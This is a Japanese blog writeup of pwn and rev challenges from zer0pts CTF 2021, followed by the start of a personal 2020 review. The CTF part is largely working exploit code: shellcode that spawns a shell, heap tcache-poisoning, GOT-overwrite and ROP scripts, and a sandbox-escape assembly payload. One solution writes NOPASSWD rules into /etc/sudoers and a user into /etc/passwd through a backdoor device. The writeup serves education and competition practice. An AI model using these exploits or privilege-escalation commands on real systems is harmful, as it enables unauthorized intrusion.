zer0pts CTF 2021 writeup

zer0pts CTF writeup

zer0pts CTFにTSGとして参加して、7th位でした。私はもっぱらpwnの問題ばかり解いていました。Pwnの問題しかほとんど見ていませんが、非本質的なパートが排除されていて、Pwnに集中できる良い問題が揃っていてよかったです。

f:id:moratorium08:20210308214615p:plain
順位

実はCTFを開催した場合にwriteupを書いてもらえると嬉しいことを認識していて、今回はせっかくなので感想のつもりで書こうと思います。 なお、もう既に公式で質の良いwriteup が存在しているので、基本的にはそちらを参照するのが良いとは思います。

Not Beginner's Stack (warmup, pwn)

warmupということで、初心者向けにFOR_BEGINNERS.mdと題した文章が添付されていました。内容は、関数呼び出しの仕組みの一般論と今回の問題の題意についてです。初心者なので当然この文章を一通り読んでから解きはじめました。

問題のプログラムについて要約すると、一般的な関数呼び出しでは、スタック上に戻りアドレスが保存されるのに対して、今回は、bss上に別途「関数呼び出しテーブル」を確保しておき、callに対応するタイミングで戻りアドレスをテーブルに保存、retに対応するタイミングでテーブルを検索して次にジャンプするべき先を取り戻す、というふうになっているようです。

バイナリを開くと自明なBoFを含む関数vulnと

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

バグの無いnotvuln

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

が定義されていて、プログラム自体はnotvulnを実行するという形になっています(vuln関数を内部で呼び出すのだからnotvulnが言うほど脆弱性が無いと言って良いのかわからないですけど)。 checksecをすると

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   24) Symbols   No    0       0       chall

のようになっています。問題は、retアドレスがスタックに無いのでBoFができない点です。どうしましょう。

答えは、スタック上に退避されているrbpを書き換えると、nonvuln内のreadで lea rsi, [rbp-0x100] と書かれている部分でrbpが任意の値にできる、つまり、任意書き込みが可能です。書き込む先は当然、例の関数テーブルで良くて、notvulnの "戻りアドレス" を今から一緒に流し込むシェルコードの先頭に向ければそれでシェルが取れます。zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}

N = 4
target_table = 0x600234
target_addr = 0x600234 + 0x8 * N

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

victim = target_table + 0x100
wait_for_attach()
rs(p64(victim) * (0x200//8))
rs(p64(target_addr) * N +  shellcode)
interactive()

これがPoCです(完全版)。簡単な問題ですがfirst bloodでした✌

safe vector

C++のバイナリです。嫌ですね。でもソースコードがあると... 嬉しい

template<typename T>
class safe_vector: public std::vector<T> {
public:
  void wipe() {
    std::vector<T>::resize(0);
    std::vector<T>::shrink_to_fit();
  }

  T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }
};

上のようなstd::vectorを継承したクラスのインスタンスvecが渡されて、push_back, pop_back, load, store, wipeができます。上述のクラスは、インデックスアクセスで配列外参照を検知できるようにする意図で作られたもののようです。

ところで、C言語のmodは、負の値 % 正の値は負の値になるという、(比較的)有名な話があって、indexに負の値を与えるとindex % sizeは負の値になります。配列外参照ができますね(JavaScriptとかもこの流儀に従っていて、一方でPythonRubyは数学的によくある方の剰余になっているはずです)。

あとはヒープ風水です。

  • heap leakやlibc leakが適切なサイズまでvectorを生やして行けば得られます
  • tcache poisoningでfree_hookを得たいですが、vectorは2倍2倍に大きくなっていって、微妙に上の方で作られた小さいtcacheに届きません。
  • そこで、vectorの中にfake chunkを作って、freeするときに小さいものっぽく誤認させると、届きます。
for i in range(16):
    push_back(i)

heap_base = (load(-9) << 32) + (load(-10)) - 0x10
print(hex(heap_base))

for i in range(0x400 - 16):
    push_back(i+1)
libc_base = (load(-515) << 32) + (load(-514)) - 0x10 - 0x1ebbd0
print(hex(libc_base))


wipe()

for i in range(64):
    push_back(i)

store(-2, 0x51)

storeword(18, 0x110 - 0x50 + 1)

wait_for_attach()
for i in range(64):
    push_back(64 + i)

system = 0x55410 + libc_base
free_hook = 0x1eeb28 + libc_base - 0x8
storeword(-68, free_hook)

wipe()

for i in range(16):
    push_back(i)

store(-2, 0x111)

wipe()


for i in range(8):
    print(i)
    push_back(i)
storeword(0, 29400045130965551)
storeword(2, system)

wait_for_attach()
push_back(9)


interactive()

以上がPoCです(完全版)。これもローカルでフラグが取れたときはfirst bloodだったんですが、サーバーが日本から遠くてタイムアウトまでに間に合わず、AWSインスタンス作ってpwntools入れてなどをしてフラグを取ったところ、second bloodになってしまいました... 残念。結構脳死PoCなのでもうちょい頑張れば効率化できたかもしれません。

OneShot

main関数をそのまま貼ると

int main() {
  int *arr = NULL, n = 0, i = 0;

  printf("n = ");
  scanf("%d", &n);
  if (n >= 0x100)
    exit(1);

  arr = calloc(n, sizeof(int));
  printf("i = ");
  scanf("%d", &i);

  printf("arr[%d] = ", i);
  scanf("%d", &arr[i]);
  puts("Done!");

  return 0;
}

です。これで問題になるんだからすごいですね。先にchecksecを確認しておくと

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70) Symbols   No    0       1       chall

です。Partial Relro + No PIEです。匂いますね。

一見すると、得られるバッファがheapにあるんだから何もできないじゃん、という感じに見えるんですが、callocにクソデカい値を入れるとNULLが帰ってくるということを思い出すと、scanf("%d", &arr[i]) で任意アドレス書き込みができるということが分かります。先程確認したようにGOT書き換えが可能かつ、GOTのアドレスが固定なので、とりあえずGOTを書き換えましょう。書き換える先はもちろんputsで、このまま終わってしまっては困るので、とりあえず再びmainに戻ってくるようにmainに書き換えます。無限ループの完成です。

こっからはまた†風水†です。とにかく今何としても知りたいのはlibcのアドレスです。これが取れれば、calloc -> systemにGOT上で書き換えた上で、calloc("/bin/sh\x00")ができます。どうすればいいでしょう?

ところでlibcのアドレスが拾えそうな場所は限られていて、具体的には上で実は示さなかった以下のsetup関数になります

__attribute__((constructor))
void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

この中でsetbufの引数に渡されているstdinは、libcのアドレスを指しています。この値をリークしたいです。ちなみにsetbufのGOTをprintfに変えるというのではリークできません。というのもstdinのポインタの指し先は残念ながらlibcのアドレスではないからです。 つまり、やりたいのは、stdinのポインタを整数として解釈して表示させる機能 printf("%p", p)pにこのポインタを突っ込んだ上で、printfを実行する、みたいなことです。よく見直してみるとそのような機能がこのプログラムにはあって、具体的には、printf("arr[%d] = ", i); です。こんな余計な表示しているんだから怪しいですよね。

配られたバイナリをディスアセンブルしてみると

  4007d4:    89 c6                   mov    %eax,%esi
  4007d6:   48 8d 3d 14 01 00 00     lea    0x114(%rip),%rdi        # 4008f1 <_IO_stdin_used+0x11>
  4007dd:   b8 00 00 00 00          mov    $0x0,%eax
  4007e2:   e8 19 fe ff ff         callq  400600 <printf@plt>

などとなっています。一方で、setupの関数のディスアセンブル

  400830:    48 8b 05 39 08 20 00    mov    0x200839(%rip),%rax        # 601070 <stdin@@GLIBC_2.2.5>
  400837:   be 00 00 00 00          mov    $0x0,%esi
  40083c:   48 89 c7                mov    %rax,%rdi
  40083f:   e8 ac fd ff ff          callq  4005f0 <setbuf@plt>

のようになっています。よく見てみるとstdinのポインタをraxに一度入れてくれています。そのうえで、上のアセンブリを見ると、ちょうど第二引数にraxの値を入れていますね?

ただ一つ困ったことがあります。setbufのGOTを当該の0x4007d4に書き換えて、puts -> setupに書き換えて、実行すると、スタックアラインメントの問題で(16byte alignになっていることをprintfが要求する)プログラムが異常終了してしまいます。これを回避するために、"二度"ずらすということをします。setup内の途中に直接飛べばこれを回避できます。

def modify(pos, val):
    rs(-1)
    rs(pos // 4)
    rs(val)

def modify8(pos, val):
    modify(pos, val & 0xffffffff)
    modify(pos + 4, val >> 32)

modify(puts_got, main_addr)

modify8(exit_got, 0x0000000000400830)
modify8(setbuf_got, nazo)

#wait_for_attach()
#libc_base = just_u64(s)
#print(hex(libc_base))

rs(300)
recvuntil('arr[')
s = recvuntil(']')
print(s)
libc_lower = int(s)
system_lower = libc_lower - 0x196570
print(hex(libc_lower), hex(system_lower))
rs('+')


modify8(exit_got, ret)
modify8(binsh, u64("/bin/sh\x00"))

modify(calloc_got, system_lower)


wait_for_attach()
rs(str(binsh))

interactive()

以上がPoCです(完全版)。これはsecond bloodでした。 ちなみに実は上述でprintfのリークした後のscanfでは書き込み先のポインタがvalidではないので適当な数を入力するとセグフォで落ちますが、これは、+などを入れることでスルーしてもらうことができます。

stopwatch

これはプログラムが長いので、挙動は実行の様子から説明します

What is your name?
> hello
How many times do you want to try?
> 100
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: 1
Stop the timer as close to 1.000000 seconds as possible!
Press ENTER to start / stop the timer.

Timer started.

Timer stopped.
Faster by 0.245760 sec!
Play again? (Y/n) Y
-=-=-=-= CHALLENGE 002 =-=-=-=-
Time[sec]: 1
Stop the timer as close to 1.000000 seconds as possible!
Press ENTER to start / stop the timer.

Timer started.

Timer stopped.
Slower by 0.044928 sec!
Play again? (Y/n) n
-=-=-=-= RESULT =-=-=-=-
Name: hello
Best Score: 0.044928

名前とゲームをする回数を最初に入力し、各ゲームで、「x秒間隔でエンターを2度押せるかな?」ゲームをすることができます。上がその様子です。各ゲームの終了時に続けるかどうかが表示されます。ゲーム終了時には名前とベストスコアが表示されます。

実はこの問題は自明なBoFが二箇所あります。特に重要な方を上げると

int ask_again(void) {
  char buf[0x10];
  printf("Play again? (Y/n) ");
  scanf("%s", buf);
  readuntil('\n');
  if (buf[0] == 'n' || buf[0] == 'N')
    return 0;
  else
    return 1;
}

この関数でscanfをしているところで好きな長さの文字を書くことができます。ただchecksecを確認すると

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   80) Symbols   No    0       2       stopwatch/chall

となっていて、Canaryがあり、BoFするだけでは解けません。Canaryがリークしたいです。リークできそうな場所があるでしょうか? 怪しいところは、ここです

void ask_time(double *t) {
  printf("Time[sec]: ");
  scanf("%lf", t);
  readuntil('\n');
}

scanfの返り値を見てエラーハンドリングしていないので、ここで+とか入力すると、何もtに書き込まれず、そのままスルーされます。ask_timeの引数が何だったかを思い出すと、

  double delta, goal, diff;

  ask_time(&goal);

で、未初期化のgoalです。これでスタックの情報がリークできそう!となりますが、そう簡単ではありません。

What is your name?
> uon
How many times do you want to try?
> 100
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: +
Stop the timer as close to 0.000000 seconds as possible!
Press ENTER to start / stop the timer.

0、らしいです。canaryがリークできませんでした。ダメですか?実装をよく見てみると

int main(void) {
  unsigned char i, n;
  double *records, best = 31137.31337;

  ask_name();
  n = ask_number();
  records = (double*)alloca(n * sizeof(double));

  for(i = 0; i < n; i++) records[i] = 31137.31337;

のようにallocaでゲーム数分のメモリを確保しています。allocaというのは、mallocのように動的にサイズを決めて、メモリを確保することができる仕組みで、mallocとの違いは、freeをしなくて良い代わりに、生存期間がこの関数内です。具体的には、スタックを上げ下げすることで、メモリを確保しています。これを念頭に置くと、スタックを良い感じに上げ下げすると、ask_nameask_numberで使われたcanaryの位置に、goalを置くことができることに気づきます。

What is your name?
> 1
How many times do you want to try?
> 16
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: +
Stop the timer as close to 617509278313277091542227769970559604164567213334943896650100539216663619993774220164116246091155517995302682177562902367971147901679919912594346122149888.000000 seconds as possible!
Press ENTER to start / stop the timer.

ヤバいですね。適当なtranslator

#include <stdio.h>

typedef union {
    double x;
    unsigned long long y;
} U;

int main(void) {
    U v;
    scanf("%lf", &v.x);
    printf("%llx\n", v.y);
    return 0;
}

を書くと、この表示された値は 5fa794a51be9dc00 であることが分かります。canaryがリークできました(ちなみにcanaryの値によっては、リークができないので注意)。

canaryさえリークできればあとはROPをすればよいです。

server = process('translator')


rs('/bin/sh')
rs('15')

rs('+', r=':')
recvuntil('close to ')
v = recvuntil(' ')
print(v)
server.sendline(v)
l = server.recvline()
canary = int(l, 16)
sendline('\n')

print(hex(canary))
recvuntil('(Y/n) ')


payload = [
        pop_rdi, # pad

        pop_rdi,
        leak,
        puts_plt,

        ask_again,
        ]

pad = 'A' * 0x18 + p64(canary)

payload = ''.join(map(p64, payload))

'''
b * 0x400915
'''
wait_for_attach()
sendline(pad + payload)

libc_base = just_u64(recvline()) - libc_start_main_offset
print(hex(libc_base))

recvuntil('(Y/n) ')

binsh = libc_base + binsh_offset
system = libc_base + system_offset

payload = [
        pop_rdi, # pad
        ret,

        pop_rdi,
        binsh,

        system,
        ]


payload = ''.join(map(p64, payload))
wait_for_attach()
sendline(pad + payload)

interactive()

最初にlibcアドレスをリークするROP、その後でもう一度ask_againをして、二番目でsystem("/bin/sh")を実行するROPを組んでいます(PoCの完全版)。

nasm kit

概要は、「x86アセンブリを受け取って、sandbox下で実行したときに、sandbox escapeできますか?」という問題です。実装の詳細は載せきれないですが、重要なのはsystem callのハンドラーです。

DEFINE_HANDLER(handler_syscall)
{
  char *buf;

/** 省略 **/


  case SYS_mmap:
    /** SYS_mmap */
    REG_RETVAL = syscall(SYS_mmap, REG_ARG1, REG_ARG2, REG_ARG3, REG_ARG4, REG_ARG5, REG_ARG6);

    if ((void*)REG_RETVAL == MAP_FAILED) {

      /* Failed to allocate*/
      REG_RETVAL = -1;

    } else if (REG_RETVAL != REG_ARG1) {

      /* Invalid address */
      syscall(SYS_munmap, REG_RETVAL, REG_ARG2);
      REG_RETVAL = -1;

    } else {

      /* Success */
      if (UNICORN_ERROR(uc_mem_map_ptr(uc, REG_RETVAL, REG_ARG2, UNICORN_PROT(REG_ARG3), (void*)REG_RETVAL)))
        ABORT_PROGRAM("Error on uc_mem_map_ptr");

      REG_RETVAL = 0;

    }
    break;

  case SYS_munmap:
    /** SYS_munmap */
    if (syscall(SYS_munmap, REG_ARG1, REG_ARG2) != 0) {
      REG_RETVAL = -1;
    } else {
      if (UNICORN_ERROR(uc_mem_unmap(uc, REG_ARG1, REG_ARG2))) {
        ABORT_PROGRAM("Error on uc_mem_unmap");
      }
      REG_RETVAL = 0;
    }
    break;


/** 省略 **/

mmapでなぜか「親と子供のアドレスがストレートマップになるように」メモリマップを構築しています。とても怪しいですね。

この問題は2つのパートに分かれます

  • どのように親のアドレス空間のアドレスをリークするか
  • 親のアドレス空間が分かったとき、どうやって親側で任意コードを実行するか

です。

前半:親のアドレスリー

このsandboxでは、addr' = mmap(addr, size, ...)として得られたaddr'がaddrと一致していなかった場合は、その領域をmunmapした上でエラーを返すような実装になっています。mmapではMAP_FIXEDを指定しなければ、アドレスはただのヒントとして扱われるだけで、指定したアドレスの領域に被りが生まれる場合は別の場所から、適切なサイズのメモリを確保します。つまり、今回のsandboxにおいては、mmapの成功・不成功を見ることで、「親の空間にメモリマップが存在しているか?」を検査することができます。

f:id:moratorium08:20210308214455p:plain
成功
f:id:moratorium08:20210308214500p:plain
失敗

基本的には、二分探索をすれば良いですが、リモートでmmapのサイズとして指定してエラーが帰らないサイズがあまり大きくなかったので、この探索はさらに2つのパートに分かれます

  • [0x550000000000, 0x570000000000)までの領域を0x80000000ずつ前から順に調べていって、エラーになる場所を探す。その領域を[X, X+0x80000000)とする
  • [X, X+0x80000000)を二分探索していき、どこから親のコード領域が開始するかを正確に発見する。

Cで上述のアルゴリズムを書くと以下のようになります(なおmmapの仕様が違うので、上のプログラムをLinux上でコンパイルしても、意図したとおりには動きません)

#define SIZE 0x80000000llu

typedef unsigned long long u64;
int main(void) {


    u64 addr = 0x550000000000llu;
    u64 lb =   0x550000000000llu;
    u64 ub =   0x570000000000llu;

    for (u64 i = lb; i < ub; i += SIZE) {
        u64 x = (u64)mmap((void*)i, SIZE, 0, 0x22, -1, 0);
        if (x != 0) {
            addr = lb;
            lb = (i >> 12);
            ub = (i + SIZE) >> 12;
            break;
        }
        else {
            munmap((void*)i, SIZE);
        }
    }

    while (ub - lb > 1) {
        u64 mb = ((ub + lb) / 2);
        u64 size = mb - addr;

        u64 y = addr * 0x1000;
        u64 z = size * 0x1000;
        u64 x = mmap(y, z, 0, 0x22, -1, 0);
        if (x != 0) {
            ub = mb;
        }
        else {
            lb = mb;
            munmap(y, z);
        }
    }
    printf("%llx\n", lb * 0x1000);
    scanf("%llu", &addr);

    return 0;
}

以上で、親の空間のコード領域のアドレスをリークすることができました。

後半:親で任意コード実行

ここまでは良かったのですが、この後親の空間で任意コード実行をするにはどうすればよいでしょう。mmapでrwxを作れるので、RIPが取れれば、勝ちですが、プログラムにそのようなことができるバグは無さそうです。ここでmmapだけで、RIPを書き換えるにはどうすればいいっすかね〜とkcz146 さんに尋ねたところ「MAP_FIXEDで、うまいこといかんの?」と言われて、ほえーとなります。

mmapのフラグでMAP_FIXEDを指定すると、mmap(addr, size, ...)で指定したaddrがヒントではなく実際にマップされる場所になります。これは既にマップされていても強制的に上書きされます。つまり、これを用いて、コード領域のメモリをガバっと書き換えてしまえないか?というアイデアになります。

実際にこれはうまくいきます。メモリマップを見てみると以下のようになっていて、

gdb-peda$ vm
Start              End                Perm  Name
0xdead0000         0xdeae0000         rw-p  mapped
0x0000561813dba000 0x0000561813dbd000 r-xp  /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
0x0000561813fbc000 0x0000561813fbd000 r--p  /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
0x0000561813fbd000 0x0000561813fbe000 rw-p  /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator

特に、base + 0x2000の位置をダンプしてみると

gdb-peda$ x/40gx 0x0000561813dbc000
0x561813dbc000 <__static_initialization_and_destruction_0(int, int)+44>:  0xed358d4800201004  0x0fe6058b48002012
0x561813dbc010 <__static_initialization_and_destruction_0(int, int)+60>:  0xef66e8c789480020  0x894855c3c990ffff
0x561813dbc020 <_GLOBAL__sub_I_reg_vals+3>:   0x01bf0000ffffbee5  0xffffffa4e8000000
0x561813dbc030 <_GLOBAL__sub_I_reg_vals+19>:  0x7d89e5894855c35d  0x23fc458bf87589fc
0x561813dbc040 <std::operator&(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>:   0xe5894855c35df845  0x458bf87589fc7d89
0x561813dbc050 <std::operator|(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+12>:   0x4855c35df8450bfc  0xfc458bfc7d89e589
0x561813dbc060 <std::operator~(std::_Ios_Fmtflags)+10>:   0xe5894855c35dd0f7  0xf87d894810ec8348
0x561813dbc070 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+12>: 0x8bf8458b48f47589  0xc789d689f4558b00
0x561813dbc080 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+28>: 0x48c289ffffffbfe8  0x458b481089f8458b
0x561813dbc090 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+44>: 0x48e5894855c3c9f8  0x89f87d894810ec83
0x561813dbc0a0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+13>: 0x008bf8458b48f475  0xe8c789d689f4558b
0x561813dbc0b0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+29>: 0x8b48c289ffffff7e  0xf8458b481089f845
0x561813dbc0c0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+45>: 0x8348e5894855c3c9  0x7589e87d894820ec
0x561813dbc0d0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>:  0xe8458b48e05589e4  0x458bfc458918408b
0x561813dbc0e0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+30>:  0xffffff6ee8c789e0  0x8348e8458b48c289
0x561813dbc0f0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+46>:  0xe8c78948d68918c0  0x8be0558bffffff97
0x561813dbc100 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+62>:  0x27e8c789d689e445  0x458b48c289ffffff
0x561813dbc110 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+78>:  0x48d68918c08348e8  0x8bffffff45e8c789
0x561813dbc120 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+94>:  0xe5894855c3c9fc45  0xf87d894810ec8348
0x561813dbc130 <std::hex(std::ios_base&)+12>: 0x00004abaf8458b48  0x894800000008be00

のようになっています。mmapをすると、そのコード領域が全ての0になってしまうので、上述の方針を成功させるために必要なメモリページの要件として

  • 子供に実行が帰ってくる前に、その領域にRIPが行かない
  • メモリをシェルコードに書き換えた後で、RIPをその領域に向けることができる

という2点が挙げられます。この内1点目は、実際にやってみると、大丈夫であることが分かります。2点目として、このページにRIPが向かない場合(つまり正常実行でこの領域にあるコードが実行されない場合)、今回RIPを恣意的に変えることはできないので、書き換えられても無意味になってしまいます。ここで上のメモリダンプの中にstd::hexという文字があることに着目します。これはemulatorがterminateした後で

  std::cout << "[+] Emulator terminated" << std::endl;

  /* Print register values */
  if (UNICORN_ERROR(uc_reg_read_batch(uc, (int*)syscall_abi, reg_ptrs, 7)))
    ABORT("Error on uc_mem_map (unexpected)");

  std::cout << "===== registers =====" << std::endl;
  std::cout << "RAX: " << std::hex << reg_vals[0] << std::endl;
  std::cout << "RDI: " << std::hex << reg_vals[1] << std::endl;
  std::cout << "RSI: " << std::hex << reg_vals[2] << std::endl;
  std::cout << "RDX: " << std::hex << reg_vals[3] << std::endl;
  std::cout << "R10: " << std::hex << reg_vals[4] << std::endl;
  std::cout << "R8 : " << std::hex << reg_vals[5] << std::endl;
  std::cout << "R9 : " << std::hex << reg_vals[6] << std::endl;
  std::cout << "=====================" << std::endl;

のようにメモリダンプに使われる関数です。つまり、emulatorをterminateさせれば、親に任意コード実行させることができるということが分かります。シェルコードをstd::hexの位置に流して終わりです。

main:   ; Function begin
  xor r9d, r9d
  mov r8d, -1
  mov r10d, 0x22
  mov edx, 3
  mov rsi, 0x10000
  mov rdi, 0xdead0000
  mov eax, 9
  syscall

  mov rsp, 0xdead3000
  mov rbp, 0xdead3000

  mov rdi, 0xdead4800
  mov rsi, 0x0a0a0a0a0a0a
  mov [rdi], rsi

;;-> wait for attach
  mov edx, 0x400
  mov rsi, 0xdead0000
  mov edi, 0
  mov eax, 0
  syscall
  mov rsi, 5
  mov rdi, 0xdead0000
  call print_buf
;;<- end wait for attach


  mov     rax, qword 555000000000H
  mov     qword [rbp-58H], rax
  mov     qword [rbp-50H], rax
  mov     rax, qword 570000000000H
  mov     qword [rbp-48H], rax
  mov     rax, qword [rbp-50H]
  mov     qword [rbp-40H], rax
  jmp     ?_003

  ?_001:  mov     rax, qword [rbp-40H]
  mov     r9d, 0
  mov     r8d, 4294967295
  mov     ecx, 34
  mov     edx, 0
  mov     esi, 2147483648
  mov     rdi, rax
  mov eax, 9
  syscall
  mov     qword [rbp-38H], rax
  cmp     qword [rbp-38H], 0
  jz      ?_002
  mov     rax, qword [rbp-40H]
  shr     rax, 12
  mov     qword [rbp-50H], rax
  mov     qword [rbp-58H], rax
  mov     edx, 2147483648
  mov     rax, qword [rbp-40H]
  add     rax, rdx
  shr     rax, 12
  mov     qword [rbp-48H], rax

  call print_end
  mov rdi, qword [rbp-50H]
  call print_reg

  jmp     ?_004


  ?_002:
  ;call print_cont

  mov     rax, qword [rbp-40H]
  mov     esi, 2147483648
  mov     rdi, rax
  mov eax, 11
  syscall
  mov     eax, 2147483648
  add     qword [rbp-40H], rax
  ?_003:  mov     rax, qword [rbp-40H]
  cmp     rax, qword [rbp-48H]
  jc      ?_001
  ?_004:  jmp     ?_007

  ?_005:  mov     rdx, qword [rbp-48H]
  mov     rax, qword [rbp-50H]
  add     rax, rdx
  shr     rax, 1
  mov     qword [rbp-30H], rax
  mov     rax, qword [rbp-58H]
  mov     rdx, qword [rbp-30H]
  sub     rdx, rax
  mov     rax, rdx
  mov     qword [rbp-28H], rax
  mov     rax, qword [rbp-58H]
  shl     rax, 12
  mov     qword [rbp-20H], rax
  mov     rax, qword [rbp-28H]
  shl     rax, 12
  mov     qword [rbp-18H], rax
  mov     rax, qword [rbp-20H]
  mov     rsi, qword [rbp-18H]
  mov     r9d, 0
  mov     r8d, 4294967295
  mov     ecx, 34
  mov     edx, 0
  mov     rdi, rax
  mov eax, 9
  syscall
  mov     qword [rbp-10H], rax
  cmp     qword [rbp-10H], 0
  jz      ?_006
  mov     rax, qword [rbp-30H]
  mov     qword [rbp-48H], rax
  jmp     ?_007

  ?_006:  mov     rax, qword [rbp-30H]
  mov     qword [rbp-50H], rax
  mov     rax, qword [rbp-20H]
  mov     rdx, qword [rbp-18H]
  mov     rsi, rdx
  mov     rdi, rax
  mov eax, 11
  syscall
  ?_007:  mov     rax, qword [rbp-48H]
  sub     rax, qword [rbp-50H]
  cmp     rax, 1
  ja      ?_005

  call print_end
  mov rdi, qword [rbp-50H]
  call print_reg

  mov edx, 0x8
  mov rsi, 0xdead0000
  mov edi, 0
  mov eax, 0
  syscall

  mov rax, 0xdead0000
  mov r12, [rax]

get_shell:
  xor r9d, r9d
  mov r8d, -1
  mov r10d, 0x32
  mov edx, 7
  mov rsi, 0x1000
  mov rdi, r12
  mov eax, 9
  syscall
  mov rax, r12
  add rax, 0x124

mov dword [rax], 3142107185
add rax, 4
mov dword [rax], 2442567121
add rax, 4
mov dword [rax], 4288122064
add rax, 4
mov dword [rax], 1406924616
add rax, 4
mov dword [rax], 1385783124
add rax, 4
mov dword [rax], 2958971991
add rax, 4
mov dword [rax], 331579

mov rax, 0x100000
mov dword [rax], 0

  print_buf:
  mov rdx, rsi
  mov rsi, rdi
  mov edi, 1
  mov rax, 1
  syscall
  mov rdx, 1
  mov rsi, 0xdead4800
  mov edi, 1
  mov rax, 1
  syscall
  ret
  wait_for_attach:
  mov edx, 0x400
  mov rsi, 0xdead0000
  mov edi, 0
  mov eax, 0
  syscall
  ret
  print_reg:
  mov rax, 0xdead0000
  mov qword [rax], rdi
  mov rdi, rax
  mov rsi, 8
  jmp print_buf

  print_cont:
  mov rax, 0xdead0000
  mov qword [rax], 1953394531
  mov rdi, rax
  mov rsi, 4
  jmp print_buf

  print_end:
  mov rax, 0xdead0000
  mov qword [rax], 6581861
  mov rdi, rax
  mov rsi, 3
  jmp print_buf

良い問題でした。

infected

僕が唯一解いたpwn以外の問題(rev)です。revをするとデバドラで、バックドアをしかけていることが分かり、なんか好きにレギュラーファイルのmodeを書き換えられるらしいです。sudoersにしつつ/etc/passwdに自分を入れて終わりです。

echo "b4ckd00r:/etc/sudoers:2559" > /dev/backdoor
echo "sudo  ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "b4ckd00r:/etc/passwd:2559" > /dev/backdoor
echo "sudo:x:1000:1000:sudo:/:/bin/sh" >> /etc/passwd
echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor

感想

問題の質がとても良かったので体験として最高だったのと、僕がいっぱい問題解けて体験として最高だったので、最高でした。それに順位がまあまあよくて賞金がTSGに送られるそうです。すごい。 今年初めてのCTF*1 でしたが、途中でamong usやTSG/KMC esolang大会に行くことなく*2、ずっとCTFできたのは、割と非本質パートがなくずっと集中していられたおかげだと思うので、本当に良かったです。

*1:参加しようとしたが、実はamong usをしていたみたいなことはあった

*2:esolangして有が埋めたかは不明でですが

2020年の振り返り

COVID-19の感染拡大の影響で、人生で、家から一番出なかった一年っぽい。

とはいえ通学他の移動時間がなくなったことで、体力的・時間的に動ける時間が増えて、使える時間が増えたので、結果的に良かった面もありそう。良くなかった面は、当然他人と現実世界で会えなかったので、コミュニケーションが色々な人とは上手にできなかったこと。

今年やったことは雑には

に分けられるので、それぞれについて雑にまとめる。

研究

まず、偉いのは卒論を書いて卒業したこと。1月はずっと卒論に従事していた。 今の時期になってかなり気づいたが、卒論で頂いたテーマはかなり良かった。というのも、もちろんその後refine(これも6月頃1ヶ月ほどやっていた..)して会議に通ったのも良い点だが、それ以上に「論文の執筆のいろは」を含め色々なことに理解が生える良いジャンプ台だった気がする。実際今の研究に大きく繋がっている(今の研究がうまくいくかはわからないが)。

卒論、会議論文執筆 + 研究発表を通して分かったことだが、かなり英語が破滅している。 なので、目下の課題としては英語能力の向上を図っている。

社会方面

今まで大きな企業で働いたことがなかったが、さすがに社会を知らなすぎるとヤバい気がしたので、インターンに応募し、LINEで6週間働かせてもらった。実際コードを書くのは楽しいし、LINEのサービスの一端に関わっている感があって良かった。内容は、https://engineering.linecorp.com/ja/blog/internship-report20-hypervisor-update-system-with-kubernetes/ にまとまっている。

実際最規模なクラスターに対する処理を(理論上考えることはあれど)実際に書くことは今までになかったのでかなり貴重な経験だった。

あと、地味にGSoCでlibvirtプロジェクトの一端に携わり、LINEでOpenStack + Kubernetesに紛いなりにも携わった(おこがましいか?)ので、そっち方面の経験があるということで就職できないかな。厳しいですかね。

CTF

